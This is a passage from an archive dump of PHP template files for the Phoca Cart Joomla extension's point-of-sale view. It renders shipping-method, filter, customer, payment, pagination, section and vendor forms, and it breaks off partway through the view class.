echo $this->loadTemplate('pagination');
echo '</div>'. "\n"; // end items
} else {
echo '<div id="phItems" class="ph-items
'.$this->s['c']['grid'].'">';
echo '<div class="ph-pos-no-items-icon"><span
class="'.$this->s['i']['ban'].'"></span></div>';
echo '<div
class="ph-pos-no-items">'.JText::_('COM_PHOCACART_NO_PRODUCT_FOUND').'</div>';
echo $this->loadTemplate('pagination');// empty pagination
only needed variables
echo '</div>'. "\n"; // end items
}
?>
pos/tmpl/default_main_content_shipping_methods.php000064400000010677151165727070016666
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$price = $this->t['price'];
echo '<div
class="ph-box-header">'.JText::_('COM_PHOCACART_SHIPPING_METHODS').'</div>';
echo '<div
class="ph-checkout-shipping-cost-box">';
if (!empty($this->t['shippingmethods'])) {
foreach($this->t['shippingmethods'] as $k => $v) {
echo '<div
class="'.$this->s['c']['row'].'
ph-pos-shipping-method-row">';
echo '<form
action="'.$this->t['linkpos'].'"
method="post"
class="'.$this->s['c']['form-horizontal.form-validate'].'"
role="form">';
$checked = '';
if (isset($v->selected) && $v->selected == 1 ) {
$checked = 'checked="checked"';
}
$priceI = $price->getPriceItemsShipping($v->cost,
$v->cost_additional, $v->calculation_type,
$this->t['total'][0], $v->taxid, $v->taxrate,
$v->taxcalculationtype, $v->taxtitle, 0, 1);
echo '<div
class="'.$this->s['c']['row-item'].'
'.$this->s['c']['col.xs12.sm5.md5'].'">';
if ($v->image != '') {
echo '<span class="ph-shipping-image"><img
src="'.JURI::base(true) .'/'. $v->image.'"
alt="'.htmlspecialchars(strip_tags($v->title)).'"
/></span>';
}
echo '<span
class="ph-shipping-title">'.$v->title.'</span>';
if ($this->t['display_shipping_desc'] &&
$v->description != '') {
echo '<div
class="ph-checkout-shipping-desc">'.Joomla\CMS\HTML\HTMLHelper::_('content.prepare',
$v->description).'</div>';
}
echo '</div>';
echo '<div
class="'.$this->s['c']['row-item'].'
'.$this->s['c']['col.xs12.sm4.md4'].'"><div
class="radio">';
if ($this->t['zero_shipping_price'] == 0 &&
$priceI['zero'] == 1) {
// Display blank price field
} else if ($this->t['zero_shipping_price'] == 2 &&
$priceI['zero'] == 1) {
// Display free text
echo '<div
class="'.$this->s['c']['col.xs12.sm8.md8'].'"></div>';
echo '<div
class="'.$this->s['c']['col.xs12.sm4.md4'].'
ph-checkout-shipping-tax">'.JText::_('COM_PHOCACART_FREE').'</div>';
} else {
if ($priceI['nettoformat'] ==
$priceI['bruttoformat']) {
} else if ($priceI['nettoformat'] != '') {
echo '<div
class="'.$this->s['c']['col.xs12.sm8.md8'].'">'.$priceI['nettotxt'].'</div>';
echo '<div
class="'.$this->s['c']['col.xs12.sm4.md4'].'
ph-checkout-shipping-netto">'.$priceI['nettoformat'].'</div>';
}
if ($priceI['taxformat'] != '') {
echo '<div
class="'.$this->s['c']['col.xs12.sm8.md8'].'">'.$priceI['taxtxt'].'</div>';
echo '<div
class="'.$this->s['c']['col.xs12.sm4.md4'].'
ph-checkout-shipping-tax">'.$priceI['taxformat'].'</div>';
}
if ($priceI['bruttoformat'] != '') {
echo '<div
class="'.$this->s['c']['col.xs12.sm8.md8'].'">'.$priceI['bruttotxt'].'</div>';
echo '<div
class="'.$this->s['c']['col.xs12.sm4.md4'].'
ph-checkout-shipping-brutto">'.$priceI['bruttoformat'].'</div>';
}
}
echo '</div></div>';
echo '<div
class="'.$this->s['c']['row-item'].'
'.$this->s['c']['col.xs12.sm3.md3'].'
ph-pos-customer-action">';
if ((int)$this->t['shippingid'] == (int)$v->id) {
echo '<button
class="'.$this->s['c']['btn.btn-danger'].'
editMainContent">'.JText::_('COM_PHOCACART_DESELECT').'</button>';
echo '<input type="hidden" name="id"
value="0" />';
} else {
echo '<button
class="'.$this->s['c']['btn.btn-success'].'
editMainContent">'.JText::_('COM_PHOCACART_SELECT').'</button>';
echo '<input type="hidden" name="id"
value="'.(int)$v->id.'" />';
}
echo '</div>';
echo '<input type="hidden" name="task"
value="pos.saveshipping" />'. "\n";
echo '<input type="hidden" name="tmpl"
value="component" />';
echo '<input type="hidden" name="option"
value="com_phocacart" />'. "\n";
echo '<input type="hidden"
name="redirectsuccess" value="main.content.products"
/>';
echo '<input type="hidden"
name="redirecterror"
value="main.content.shippingmethods" />';
echo Joomla\CMS\HTML\HTMLHelper::_('form.token');
echo '</form>'. "\n";
echo '</div>';
echo '<div class="ph-cb
ph-pos-hr-sub"></div>';
}
} else {
echo '<div
class="ph-pos-no-items">'.JText::_('COM_PHOCACART_NO_SHIPPING_METHOD_FOUND').'</div>';
}
echo '</div>';// end shipping cost box
// Pagination variables only
$this->items = false;
echo $this->loadTemplate('pagination');
?>
pos/tmpl/default_main_filter.php000064400000012720151165727070013044
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
echo '<div
class="ph-pos-message-box"></div>';
echo '<div class="ph-pos-filter-box">';
// DATE FILTER (ORDERS)
echo '<div class="ph-pos-date-order-box"
id="phPosDateOrdersBox">';
echo '<form id="phPosDateOrdersForm"
class="form-inline"
action="'.$this->t['linkpos'].'"
method="post">';
Joomla\CMS\HTML\HTMLHelper::_('script',
'system/html5fallback.js', false, true);
// DATE FROM
$name = "date";
$id = 'phPosDateOrders';
$format = '%Y-%m-%d';
$attributes = array(
'onChange' =>
'jQuery(\'#phPosDateOrdersForm\').submit()',
"showTime" => false,
"todayBtn" => true,
"weekNumbers" => false,
"fillTable" => true,
"singleHeader" => false
);
$valueFrom =
$this->escape($this->state->get('filter.date',
PhocacartDate::getCurrentDate()));
$calendar = Joomla\CMS\HTML\HTMLHelper::_('calendar', $valueFrom,
$name, $id, $format, $attributes);
$calendarIcon = $this->s['i']['calendar'];
$calendar = str_replace('icon-calendar', $calendarIcon .'
icon-calendar', $calendar);
echo '<div class="ph-inline-param">'.
$calendar.'</div>';
echo '<input type="hidden" name="tmpl"
value="component" />';
echo '<input type="hidden" name="option"
value="com_phocacart" />';
echo '<input type="hidden" name="format"
value="raw" />';
echo '<input type="hidden" name="page"
value="main.content.orders" />';
echo '<input type="hidden" name="ticketid"
value="'.$this->t['ticket']->id.'"
/>';
echo '<input type="hidden" name="unitid"
value="'.$this->t['unit']->id.'"
/>';
echo '<input type="hidden" name="sectionid"
value="'.$this->t['section']->id.'"
/>';
echo Joomla\CMS\HTML\HTMLHelper::_('form.token');
echo '</form>';
echo '</div>';
// SKU PRODUCT (ajax based on .phItemCartBoxForm)
echo '<div class="ph-pos-sku-product-box"
id="phPosSkuProductBox">';
echo '<div class="inner-addon right-addon">';
echo ' <i
class="'.$this->s['i']['barcode'].'"></i>';
echo '<form id="phPosSkuProductForm"
class="phItemCartBoxForm phjAddToCart phjPos phjAddToCartVPosPSku
form-inline"
action="'.$this->t['linkpos'].'"
method="post">';
echo '<input type="hidden" name="quantity"
value="1">';
echo '<input type="hidden" name="task"
value="pos.add">';
echo '<input type="hidden" name="tmpl"
value="component" />';
echo '<input type="hidden" name="option"
value="com_phocacart" />';
echo '<input type="hidden" name="page"
value="'.$this->t['page'].'" />';
echo '<input type="hidden" name="ticketid"
value="'.$this->t['ticket']->id.'"
/>';
echo '<input type="hidden" name="unitid"
value="'.$this->t['unit']->id.'"
/>';
echo '<input type="hidden" name="sectionid"
value="'.$this->t['section']->id.'"
/>';
//echo '<input type="hidden" name="return"
value="'.$this->t['mainboxdatabase64'].'"
/>';
echo '<input
type="'.$this->t['pos_sku_input_type'].'"
name="sku" id="phPosSku"
value="'.htmlspecialchars($this->t['sku']).'"
class="'.$this->s['c']['form-control'].'
ph-pos-search"
placeholder="'.$this->t['skutypetxt'].'
..."
'.$this->t['pos_input_autocomplete_output'].'
/>';
//echo '<input type="submit" value="submit"
/>';
echo Joomla\CMS\HTML\HTMLHelper::_('form.token');
echo '</form>';
echo '</div>';
echo '</div>';
// LOYALTY CARD NUMBER (USER) (ajax based on .editMainContent)
echo '<div class="ph-pos-card-user-box"
id="phPosCartUserBox">';
echo '<div class="inner-addon right-addon">';
echo ' <i
class="'.$this->s['i']['barcode'].'"></i>';
echo '<form id="phPosCardUserForm"
class="phjAddToCartVPosPCard form-inline"
action="'.$this->t['linkpos'].'"
method="post">';
echo '<input type="hidden" name="quantity"
value="1">';
echo '<input type="hidden" name="task"
value="pos.savecustomer">';
echo '<input type="hidden" name="tmpl"
value="component" />';
echo '<input type="hidden" name="option"
value="com_phocacart" />';
echo '<input type="hidden" name="page"
value="'.$this->t['page'].'" />';
echo '<input type="hidden" name="ticketid"
value="'.$this->t['ticket']->id.'"
/>';
echo '<input type="hidden" name="unitid"
value="'.$this->t['unit']->id.'"
/>';
echo '<input type="hidden" name="sectionid"
value="'.$this->t['section']->id.'"
/>';
//echo '<input type="hidden" name="return"
value="'.$this->t['mainboxdatabase64'].'"
/>';
echo '<input
type="'.$this->t['pos_loyalty_card_number_input_type'].'"
name="card" id="phPosCard"
value="'.htmlspecialchars($this->t['card']).'"
class="'.$this->s['c']['form-control'].'
ph-pos-search"
placeholder="'.JText::_('COM_PHOCACART_FIELD_LOYALTY_CARD_NUMBER_LABEL').'
..."
'.$this->t['pos_input_autocomplete_output'].'
/>';
//echo '<input type="submit" value="submit"
/>';
echo Joomla\CMS\HTML\HTMLHelper::_('form.token');
echo '</form>';
echo '</div>';
echo '</div>';
// SEARCH
echo '<div class="ph-pos-search-box"
id="phPosSearchBox">';
echo '<div class="inner-addon right-addon">';
echo ' <i
class="'.$this->s['i']['search'].'"></i>';
echo ' <input type="text" name="phpossearch"
id="phPosSearch"
value="'.htmlspecialchars($this->t['search']).'"
class="'.$this->s['c']['form-control'].'
ph-pos-search"
placeholder="'.JText::_('COM_PHOCACART_SEARCH').'
..."
'.$this->t['pos_input_autocomplete_output'].'
/>';
echo '</div>';
echo '</div>';
echo '</div>'; // end ph-pos-filter-box
?>
pos/tmpl/default_main_input.php000064400000012757151165727070012730
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
// USER
echo '<form class="form-inline"
action="'.$this->t['action'].'"
method="post">';
echo '<input type="hidden" name="format"
value="raw">';
echo '<input type="hidden" name="page"
value="main.content.customers">';
echo '<input type="hidden" name="tmpl"
value="component" />';
echo '<input type="hidden" name="option"
value="com_phocacart" />';
echo '<input type="hidden" name="ticketid"
value="'.(int)$this->t['ticket']->id.'"
/>';
echo '<input type="hidden" name="unitid"
value="'.(int)$this->t['unit']->id.'"
/>';
echo '<input type="hidden" name="sectionid"
value="'.(int)$this->t['section']->id.'"
/>';
//echo '<input type="hidden" name="limitstart"
value="0" />';//We use more pages, reset for new date,
new customer, new products
//echo '<input type="hidden" name="start"
value="0" />';
echo Joomla\CMS\HTML\HTMLHelper::_('form.token');
if ($this->t['userexists']) {
echo '<button
class="'.$this->s['c']['btn.btn-primary'].'
loadMainContent"><span
class="'.$this->s['i']['user'].'
icon-white"></span>
'.$this->t['user']->name.'</button>';
} else if ($this->t['anonymoususerexists']) {
echo '<button
class="'.$this->s['c']['btn.btn-primary'].'
loadMainContent"><span
class="'.$this->s['i']['user'].'
icon-white"></span>
'.$this->t['loyalty_card_number'].'</button>';
} else {
echo '<button
class="'.$this->s['c']['btn.btn-primary'].'
loadMainContent"><span
class="'.$this->s['i']['user'].'
icon-white"></span>
'.JText::_('COM_PHOCACART_SELECT_CUSTOMER').'</button>';
}
echo '</form>';
// SHIPPING Method
$title = JText::_('COM_PHOCACART_SELECT_SHIPPING_METHOD');
if ($this->t['shippingmethodexists']) {
$shipping = $this->cart->getShippingMethod();
if (isset($shipping['title']) &&
$shipping['title'] != '') {
$title = $shipping['title'];
}
}
if ($this->t['pos_shipping_force'] == 0) {
echo '<form class="form-inline"
action="'.$this->t['action'].'"
method="post">';
echo '<input type="hidden" name="format"
value="raw">';
echo '<input type="hidden" name="page"
value="main.content.shippingmethods">';
echo '<input type="hidden" name="tmpl"
value="component" />';
echo '<input type="hidden" name="option"
value="com_phocacart" />';
echo '<input type="hidden" name="ticketid"
value="'.(int)$this->t['ticket']->id.'"
/>';
echo '<input type="hidden" name="unitid"
value="'.(int)$this->t['unit']->id.'"
/>';
echo '<input type="hidden" name="sectionid"
value="'.(int)$this->t['section']->id.'"
/>';
echo Joomla\CMS\HTML\HTMLHelper::_('form.token');
echo '<button
class="'.$this->s['c']['btn.btn-primary'].'
loadMainContent"><span
class="'.$this->s['i']['shipping-method'].'
icon-white"></span>
'.$title.'</button>';
echo '</form>';
} else {
echo '<div><button
class="'.$this->s['c']['btn.btn-primary'].'"><span
class="'.$this->s['i']['shipping-method'].'
icon-white"></span>
'.$title.'</button></div>';
}
// PAYMENT Method
$title = JText::_('COM_PHOCACART_SELECT_PAYMENT_METHOD');
if ($this->t['paymentmethodexists']) {
$payment = $this->cart->getPaymentMethod();
if (isset($payment['title']) &&
$payment['title'] != '') {
$title = $payment['title'];
}
}
if ($this->t['pos_payment_force'] == 0) {
echo '<form class="form-inline"
action="'.$this->t['action'].'"
method="post">';
echo '<input type="hidden" name="format"
value="raw">';
echo '<input type="hidden" name="page"
value="main.content.paymentmethods">';
echo '<input type="hidden" name="tmpl"
value="component" />';
echo '<input type="hidden" name="option"
value="com_phocacart" />';
echo '<input type="hidden" name="ticketid"
value="'.(int)$this->t['ticket']->id.'"
/>';
echo '<input type="hidden" name="unitid"
value="'.(int)$this->t['unit']->id.'"
/>';
echo '<input type="hidden" name="sectionid"
value="'.(int)$this->t['section']->id.'"
/>';
echo Joomla\CMS\HTML\HTMLHelper::_('form.token');
echo '<button
class="'.$this->s['c']['btn.btn-primary'].'
loadMainContent"><span
class="'.$this->s['i']['payment-method'].'
icon-white"></span>
'.$title.'</button>';
echo '</form>';
} else {
echo '<div><button
class="'.$this->s['c']['btn.btn-primary'].'"><span
class="'.$this->s['i']['payment-method'].'
icon-white"></span>
'.$title.'</button></div>';
}
// PAYMENT
echo '<form class="form-inline"
action="'.$this->t['action'].'"
method="post">';
echo '<input type="hidden" name="format"
value="raw">';
echo '<input type="hidden" name="page"
value="main.content.payment">';
echo '<input type="hidden" name="tmpl"
value="component" />';
echo '<input type="hidden" name="option"
value="com_phocacart" />';
echo '<input type="hidden" name="ticketid"
value="'.(int)$this->t['ticket']->id.'"
/>';
echo '<input type="hidden" name="unitid"
value="'.(int)$this->t['unit']->id.'"
/>';
echo '<input type="hidden" name="sectionid"
value="'.(int)$this->t['section']->id.'"
/>';
echo Joomla\CMS\HTML\HTMLHelper::_('form.token');
//if (!$this->t['paymentexists']) {
echo '<button
class="'.$this->s['c']['btn.btn-success.btn-lg'].'
loadMainContent">'.JText::_('COM_PHOCACART_PAYMENT').'</button>';
//} else {
// echo '<button class="btn btn-success btn-lg
loadMainContent">'.$this->t['user']->name.'</button>';
//}
echo '</form>';
?>
pos/tmpl/default_main_top.php000064400000005342151165727070012363
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
echo
PhocacartTicket::renderNavigation($this->t['vendor']->id,
$this->t['ticket']->id,
$this->t['unit']->id,
$this->t['section']->id);
echo
PhocacartSection::renderTitleAndBackButton($this->t['section']->id,
$this->t['unit']->id);
echo '<div class="ph-add-remove-tickets">';
echo '<form id="phPosAddTicketForm"
class="form-inline" style="display:inline"
action="'.$this->t['action'].'"
method="post">';
echo '<button
class="'.$this->s['c']['btn.btn-success'].'
ph-pos-btn-ticket" /><span
class="'.$this->s['i']['plus'].'
icon-white"></span></button>';
echo '<input type="hidden" name="task"
value="pos.addticket">';
echo '<input type="hidden" name="unitid"
value="'.(int)$this->t['unit']->id.'">';
echo '<input type="hidden" name="sectionid"
value="'.(int)$this->t['section']->id.'">';
echo '<input type="hidden" name="tmpl"
value="component" />';
echo '<input type="hidden" name="option"
value="com_phocacart" />';
echo '<input type="hidden" name="return"
value="'.$this->t['actionbase64'].'"
/>';
echo Joomla\CMS\HTML\HTMLHelper::_('form.token');
echo '</form>';
$msg = JText::_('COM_PHOCACART_TICKET_NR') . ':
<b>'.(int)$this->t['ticket']->id .
'</b><br />'
. JText::_('COM_PHOCACART_WARNING_CLOSE_CURRENT_TICKET') .
'<br />'
. '<span
class="ph-warning">'.JText::_('COM_PHOCACART_WARNING_CART_WILL_BE_CLOSED_ALL_DATA_WILL_BE_REMOVED')
. '</span>';
echo '<form id="phPosCloseTicketForm"
class="form-inline" style="display:inline"
action="'.$this->t['action'].'"
method="post"
data-txt="'.htmlspecialchars($msg).'">';
echo '<button
class="'.$this->s['c']['btn.btn-danger'].'
ph-pos-btn-ticket" ><span
class="'.$this->s['i']['minus'].'
icon-white"></span></button>';
echo '<input type="hidden" name="task"
value="pos.removeticket">';
echo '<input type="hidden" name="ticketid"
value="'.(int)$this->t['ticket']->id.'">';
echo '<input type="hidden" name="unitid"
value="'.(int)$this->t['unit']->id.'">';
echo '<input type="hidden" name="sectionid"
value="'.(int)$this->t['section']->id.'">';
echo '<input type="hidden" name="tmpl"
value="component" />';
echo '<input type="hidden" name="option"
value="com_phocacart" />';
echo '<input type="hidden" name="return"
value="'.$this->t['actionbase64'].'"
/>';
echo Joomla\CMS\HTML\HTMLHelper::_('form.token');
echo '</form>';
echo '</div>';// end ph-add-remove-tickets
echo $this->loadTemplate('vendor');
echo $this->loadTemplate('logo');
?>
pos/tmpl/default_pagination.php000064400000005577151165727070012720
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$this->t['action'] = str_replace('&',
'&', $this->t['action']);
$this->t['action'] =
htmlspecialchars($this->t['action']);
echo '<div class="ph-cb"></div>';
echo '<form
action="'.$this->t['action'].'"
method="post" name="adminForm"
id="phPosPaginationBox">'. "\n";
if (!empty($this->items)) {
echo '<div
class="'.$this->s['c']['row'].'
ph-pagination">';
//if ($this->p->get('show_pagination')) {
$col = 12;
//if ($this->p->get('display_item_ordering')) {
$col = 7;
echo '<div
class="'.$this->s['c']["col.xs12.sm{$col}.md{$col}"].'
ph-center-pagination">';
echo JText::_('COM_PHOCACART_ORDER_FRONT')
.': '. str_replace(
'class="inputbox"',
'class="'.$this->s['c']['inputbox'].'
'.$this->s['c']['form-control'].'
chosen-select" style="width: 16em"',
$this->t['ordering']);
echo '</div>';
//}
//if ($this->p->get('show_pagination_limit')) {
$col = 5;
echo '<div
class="'.$this->s['c']["col.xs12.sm{$col}.md{$col}"].'
ph-center-pagination">';
echo JText::_('COM_PHOCACART_DISPLAY_NUM')
.': ' . str_replace(
'class="inputbox"',
'class="'.$this->s['c']['inputbox'].'
'.$this->s['c']['form-control'].'
chosen-select"',
$this->t['pagination']->getLimitBox(1));
echo '</div>';
//}
echo '<div class="ph-cb"></div>';
echo '<div
class="'.$this->s['c']['col.xs12.sm12.md12'].'
ph-center-pagination pagination phPaginationBox">'.
str_replace( 'class="inputbox"',
'class="'.$this->s['c']['inputbox'].'
'.$this->s['c']['form-control'].'
chosen-select"',
$this->t['pagination']->getPagesLinks()) .
'</div>';
echo '<div class="ph-cb"></div>';
echo '<div
class="'.$this->s['c']['col.xs12.sm12.md12'].'
ph-center-pagination ph-pagination-mt pagination">';
echo str_replace( 'class="inputbox"',
'class="'.$this->s['c']['inputbox'].'
'.$this->s['c']['form-control'].'
chosen-select"',
$this->t['pagination']->getPagesCounter());
echo '</div>';
echo '<div class="ph-cb"></div>';
//}
echo '</div>';
}
//if ($this->p->get('ajax_pagination_category', 0) == 1) {
echo '<input type="hidden" name="format"
value="raw" />';
echo '<input type="hidden" name="page"
value="'.$this->t['page'].'" />';
echo '<input type="hidden" name="ticketid"
value="'.$this->t['ticket']->id.'"
/>';
echo '<input type="hidden" name="unitid"
value="'.$this->t['unit']->id.'"
/>';
echo '<input type="hidden" name="sectionid"
value="'.$this->t['section']->id.'"
/>';
echo '<input type="hidden" name="date"
value="'.$this->state->get('date').'"
/>';
//}
echo Joomla\CMS\HTML\HTMLHelper::_( 'form.token' );
echo '</form>';
?>
pos/tmpl/default_section.php000064400000007234151165727070012223
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
echo '<div id="ph-pc-pos-site">';
// TOP
echo '<div class="ph-pos-wrap-top">';
echo $this->loadTemplate('section_top');
echo '</div>';
echo '<div class="ph-pos-wrap-main">';
echo '<div class="ph-pos-main-page">';
// SECTIONS
echo '<div id="phSections"
class="ph-sections">';
echo '<div class="row ">';
if (!empty($this->items)) {
foreach ($this->items as $k => $v) {
echo '<div class="ph-unit
ph-unit-id-'.(int)$v['id'].'">';
$linkEdit = PhocacartRoute::getPosRoute(1, (int)$v['id'],
$this->t['section']->id);
echo '<div class="ph-pos-section-unit-box"><a
class="btn btn-default btn-unit"
href="'.$linkEdit.'">'.$v['title'].'</a>';
if (!empty($v['tickets'])) {
echo '<div
class="ph-pos-section-ticket-box">';
foreach ($v['tickets'] as $k2 => $v2) {
if ($v2['id'] > 0) {
$linkEditTicket =
PhocacartRoute::getPosRoute((int)$v2['id'],
(int)$v['unit_id'], (int)$v['section_id']);
$uO = '';
$uOClass = '';
$uOClass = 'ph-pos-ticket-false';
$uCount = 0;
if (!empty($v2['cart'])) {
$cart = unserialize($v2['cart']);
if (!empty($cart)) {
$count = 0;
foreach($cart as $k3 => $v3) {
if (isset($v3['quantity'])) {
$count = $count + $v3['quantity'];
}
}
$uOClass = 'ph-pos-ticket-true';
$uCount = $count;
if ($count == 1) {
$uO .= '('.$count.'
'.JText::_('COM_PHOCACART_ITEM').')';
} else if ($count > 1) {
$uO .= '('.$count.'
'.JText::_('COM_PHOCACART_ITEMS').')';
} else {
$uOClass = 'ph-pos-ticket-false';
}
}
}
echo '<a class="btn btn-ticket
'.$uOClass.'" href="'.$linkEditTicket.'"
title="'.$uO.'">'.(int)$v2['id'].'<span
class="ph-pos-ticket-count
'.$uOClass.'">'.$uCount.'</span></a>';
}
}
echo '</div>';
}
echo '</div>';
echo '</div>';
}
} else {
echo
'<div>'.JText::_('COM_PHOCACART_NO_UNIT_FOUND').'</div>';
}
echo '</div>'; // end row
echo '</div>'; // end ph-sections
echo '<div class="ph-pos-hr"></div>';
// SELECT THIS SECTION
echo '<div class="ph-section">';
echo '<div class="row ">';
$linkEdit = PhocacartRoute::getPosRoute(1, 0,
$this->t['section']->id);
echo '<div class="ph-unit-section">';
echo '<a class="btn btn-success"
href="'.$linkEdit.'">'.JText::_('COM_PHOCACART_SELECT_THIS_SECTION').'</a>';
echo '</div>';
echo '</div>';// end row
echo '</div>';// end ph-section
// Dummy form for javascript which needs the form input values (like
current sectionid) - to change the url bar when reseted
echo '<form
action="'.$this->t['action'].'"
method="post" name="adminForm"
id="phPosPaginationBox">'. "\n";
echo '<input type="hidden" name="format"
value="raw" />';
echo '<input type="hidden" name="page"
value="'.$this->t['page'].'" />';
echo '<input type="hidden" name="ticketid"
value="'.$this->t['ticket']->id.'"
/>';
echo '<input type="hidden" name="unitid"
value="'.$this->t['unit']->id.'"
/>';
echo '<input type="hidden" name="sectionid"
value="'.$this->t['section']->id.'"
/>';
echo Joomla\CMS\HTML\HTMLHelper::_( 'form.token' );
echo '</form>';
echo '</div>';// end ph-pos-main-page
echo '</div>';// end ph-pos-wrap-main
echo '<div class="ph-pos-wrap-bottom">';
echo $this->loadTemplate('bottom');
echo '</div>';
echo '</div>';
?>
pos/tmpl/default_section_top.php000064400000001133151165727120013071
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
echo
PhocacartSection::renderNavigation($this->t['section']->id);
echo '<div
class="ph-link-sections"> </div>';
echo '<div
class="ph-add-remove-tickets"> </div>';
echo $this->loadTemplate('vendor');
echo $this->loadTemplate('logo');
?>pos/tmpl/default_vendor.php000064400000005612151165727120012046
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
echo '<div class="ph-pos-vendor-title">';
echo '<div class="dropdown">';
echo '<button
class="'.$this->s['c']['btn.btn-info'].'
dropdown-toggle" type="button"
id="phdropdownMenuButton" data-toggle="dropdown"
aria-haspopup="true" aria-expanded="false">';
if (isset($this->t['vendor']->image) &&
$this->t['vendor']->image != '') {
echo '<div class="ph-img-inside-btn">' .
PhocacartImage::getImage($this->t['vendor']->image) .
'</div>';
}
echo $this->t['vendor']->name;
echo '</button>';
echo '<div class="dropdown-menu ph-vendor-dropdown"
aria-labelledby="phdropdownMenuButton">';
//echo '<a class="dropdown-item btn btn-danger
ph-pos-btn-dropdown" href="#">';
// CURRNECY
echo '<div
class="ph-dropdown-header">'.JText::_('COM_PHOCACART_CURRENCY').'</div>';
echo $this->loadTemplate('currency');
// ORDERS
echo '<div
class="ph-dropdown-header">'.JText::_('COM_PHOCACART_ORDERS').'</div>';
echo '<form
action="'.$this->t['action'].'"
method="post">';
//echo '<input type="hidden" name="limitstart"
value="0" />';//We use more pages, reset for new date,
new customer, new products
//echo '<input type="hidden" name="start"
value="0" />';
echo '<input type="hidden" name="page"
value="main.content.orders">';
echo '<input type="hidden" name="tmpl"
value="component" />';
echo '<input type="hidden" name="option"
value="com_phocacart" />';
echo '<input type="hidden" name="ticketid"
value="'.(int)$this->t['ticket']->id.'"
/>';
echo '<input type="hidden" name="unitid"
value="'.(int)$this->t['unit']->id.'"
/>';
echo '<input type="hidden" name="sectionid"
value="'.(int)$this->t['section']->id.'"
/>';
echo Joomla\CMS\HTML\HTMLHelper::_('form.token');
echo '<button
class="'.$this->s['c']['btn.btn-primary'].'
loadMainContent ph-pos-btn-dropdown"><span
class="'.$this->s['i']['shopping-cart'].'
icon-white"></span>
'.JText::_('COM_PHOCACART_ORDERS').'</button>';
echo '</form>';
// LOGOUT
echo '<div
class="ph-dropdown-header">'.JText::_('COM_PHOCACART_LOGOUT').'</div>';
echo '<form action="'.
JRoute::_('index.php?option=com_users&task=user.logout').'"
method="post">';
echo '<button type="submit"
class="'.$this->s['c']['btn.btn-danger'].'
ph-pos-btn-dropdown"><span
class="'.$this->s['i']['log-out'].'
icon-white"></span>
'.JText::_('JLOGOUT').'</button>';
echo '<input type="hidden" name="return"
value="'.
base64_encode(PhocacartRoute::getPosRoute()).'" />';
echo Joomla\CMS\HTML\HTMLHelper::_('form.token');
echo '</form>';
echo '</div>';// end dropdown-menu
echo '</div>';// end dropdown
echo '</div>';// end ph-pos-vendor-title
?>
pos/tmpl/index.html000064400000000054151165727120010324
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>pos/view.html.php000064400000035634151165727120010015
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
jimport( 'joomla.application.component.view');
jimport( 'joomla.filesystem.folder' );
jimport( 'joomla.filesystem.file' );
class PhocaCartViewPos extends JViewLegacy
{
protected $category;
protected $subcategories;
protected $items;
protected $t;
protected $r;
protected $p;
protected $s;
protected $cart;
function display($tpl = null) {
$app = JFactory::getApplication();
$document = JFactory::getDocument();
$this->p = $app->getParams();
$this->s = PhocacartRenderStyle::getStyles();
$uri = \Joomla\CMS\Uri\Uri::getInstance();
$model = $this->getModel();
$this->state = $this->get('State');
$this->t['action'] = $uri->toString();
$this->t['actionbase64'] =
base64_encode($this->t['action']);
// INPUTS
$this->t['id'] = $app->input->get( 'id',
0, 'int' );
//$this->t['categoryid'] = $app->input->get(
'id', 0, 'int' );// optional
$this->t['limitstart'] = $app->input->get(
'limitstart', 0, 'int' );
$this->t['search'] = $app->input->get(
'search', '', 'string' );
$this->t['sku'] = $app->input->get(
